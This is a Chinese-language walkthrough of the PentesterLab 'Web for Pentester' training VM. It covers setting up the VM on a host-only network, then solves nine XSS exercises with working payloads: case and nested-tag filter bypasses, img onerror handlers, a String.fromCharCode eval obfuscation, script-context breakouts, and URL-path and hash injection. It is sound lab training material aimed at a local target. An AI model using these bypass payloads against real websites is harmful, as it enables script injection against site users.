web for pentester是國外安全研究者開發的的一款滲透測試平台,通過該平台你可以了解到常見的Web漏洞檢測技術。
下載鏈接及文檔說明:
http://pentesterlab.com/exercises/web_for_pentester/
【安裝流程】
1. 虛擬機中掛載鏡像。 下載好ios鏡像之后,在虛擬機中創建新系統。
一路向下,創建虛擬系統。
點擊啟動,選擇iso鏡像,即可啟動。
2. 設置網絡。 關掉剛剛開啟的系統。
點擊設置,選擇網絡選項。如圖所示設置網絡
3.啟動系統。輸入ifconfig
可以看到我們虛擬機的IP地址為http://192.168.56.101/ 不同的系統可能不一樣
如果想讓主機訪問虛擬機,必須讓主機和虛擬機在同一網段的范圍內。
所以在主機上打開網絡和共享中心,設置IP
根據我的虛擬機IP,我給本機設置的IP如下:
4.在主機瀏覽器輸入虛擬機IP,我這兒是http://192.168.56.101/ ,即可通過HTTP訪問虛擬機了!!
【XSS部分解析】
xss example1:
完全沒有過濾或者編碼,各種姿勢的玩~
name=<script>alert('bb')</script>
xss example2:
從這里可以看到,過濾掉了<script>標簽,我們試試大小寫?
name=<Script>alert('bb')</sCript>
嗯,大小寫繞過了
xss example3:
和上一張圖一樣,<script>標簽被過濾掉了
先試試 name=la<script>la,輸出hello,lala
name=<scri<script>pt>alert('bb')</scri</script>pt>
經測試這個在實例2也是可以用的
xss example4:
先輸入最基本的測試name=<script>alert('bb')</script>
竟然輸出error了!
換個標簽? name=<img>?這次沒error。補全補全~
name=<img src="1" onerror="alert('bb')">
成功了~~經測試這個payload在前三個應該也是可以的
xss example5:
先輸入name=<img>正常顯示
補全name=<img src="1" onerror="alert('bb')"> 輸出error
發現alert被過濾掉了- -但是其他的函數還可以用,
比如說name=<img src="1" onerror="confirm('aa')">
查了一下文檔,發現可以這樣寫
name=<img src="1" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,97,39,41))">
這個世界真神奇
xss example6:
查看元素,發現輸出竟然在script標簽中。
$a="<img src="1" onerror="alert('bb')">"
輸出在script標簽中的情況要首先閉合雙引號"
name=fdf";alert($a);//
xss example7:
審查元素:
<script>
var $a= 'fdf";alert($a);//';
</script>
發現雙引號被HTMLEncode了
- -還發現$a=''這個地方變成了單引號。。。稍微改一下
name=fdf';alert($a);//
成了
xss example8:
呦,終於長進了,變成存儲型的了~
隨便輸出個名字<script>alert('a')</script>
審查元素
HELLO <script>alert('a')</script>
<>被HTMLEncode了。
對於輸出在HTML中的內容,這樣的過濾已經是足夠了。那么漏洞在哪兒呢?
經過答案的提醒- -我們發現form表的目標URL是可以被構造的
http://192.168.56.101/xss/example8.php/%22%20onsubmit=%22alert('1')
在提交的時候,會觸發彈窗
xss example9:
- -最后一個你是在逗我么
審查元素
<script>
document.write(location.hash.substring(1));
</script>
隨便改改就好了。。http://192.168.56.101/xss/example9.php#<script>alert('1')</script>
注:官方答案地址:http://files.pentesterlab.com/web_for_pentester/web_for_pentester.pdf